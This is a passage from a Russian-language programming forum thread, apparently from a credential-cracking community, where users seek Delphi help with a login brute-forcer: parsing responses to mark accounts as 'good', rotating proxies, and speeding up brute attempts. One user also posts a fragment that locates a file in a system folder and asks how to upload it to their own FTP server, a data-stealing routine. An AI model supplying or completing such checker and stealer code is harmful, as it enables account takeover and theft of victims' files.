Delphi Support

_____________________________________________________
HTTP/1.1 200 OK
Server: nginx
Date: Tue, 22 Mar 2016 12:44:00 GMT
Content-Type: application/json
Connection: keep-alive
Content-Length: 277

{"status":"OK","token":"ahz33prz5suuo5kmw2yqqe9bdz5181wkfnj9ktt9s6xubzuh6upsjnek695nyq4q","token_exp":3600,"login":"555AAA555qwe","nick":"fatalityX","level":"normal","lang":"ru","user_id":"586642","reg_time":"1329595783","tags":"sso_allowed_post","country":"RU"}

_____________________________________________________
______________________________
И тут нада сделать определение гуда, если "nick" <>0 then rez:=1
______________________________


Вот сюда нада это чудо вставить, дело одной минуты.....

if (Pos('Location: /office/index', HTTP.Headers.Text)<>0) and (HTTP.ResultCode=200) then
begin
Rez:=1

 

Ну тут же json его изи разобрать

 

ап

 

Подскажите люди, как реализовать в делфи условие, если прокси не работает брать тогда другую проксю.
Еще вопрос из за чего может быть медленная скорость брута если не прокси?
Спасибо!

 

Такой вопрос как исправить данную ошибку при компиляции
[dcc32 Hint] 1.pas(134): H2164 Variable 's' is declared but never used in 'TNewThread.Execute'

 

Дак просто удалить его в методе TNewThread.Execute, написано же, что он не используется. Хотя, конечно бывают случаи, когда при некоторых способах использования есть подобное предупреждение, и компилятор не понимает, что этот указатель используется. Так что придется просто игнорировать, это не мешает же

 

Подскажите как определить гуд в delphi по по коду ответа? Например код при удачной авторизации 200.

 

if pos('200', a) then // функцию pos не помню, возможно в другом порядке все эти значения, в любом случае можешь загуглить, писал на коленке.
begin
showmessage('good');
end else begin
showmessage('bad');
end;

 

Оптимизируй код, но скорее всего прокси. Попробуй отключить прокси и попробовать без них если быстро - дело в прокси

 

Вопроc:
пограмма должна находить файл и отправлять мне на фтп, вот часть исходника:

Спойлер

function GetSpecialFolderPath(folder : integer) : string;
begin
if SUCCEEDED(SHGetFolderPath(0,folder,0,SHGFP_TYPE_CURRENT,@path[0])) then
Result := path
else
Result := '';
end;

begin
upload(????);
if True then
exit;
end.

Вопрос.Что надо записать в upload(????);

 

Как я понимаю, код не твой, ибо если бы он был твой, то ты бы знал что написать в upload. Попытайся разобраться в этой функции с помощью гугла и напиши код сам.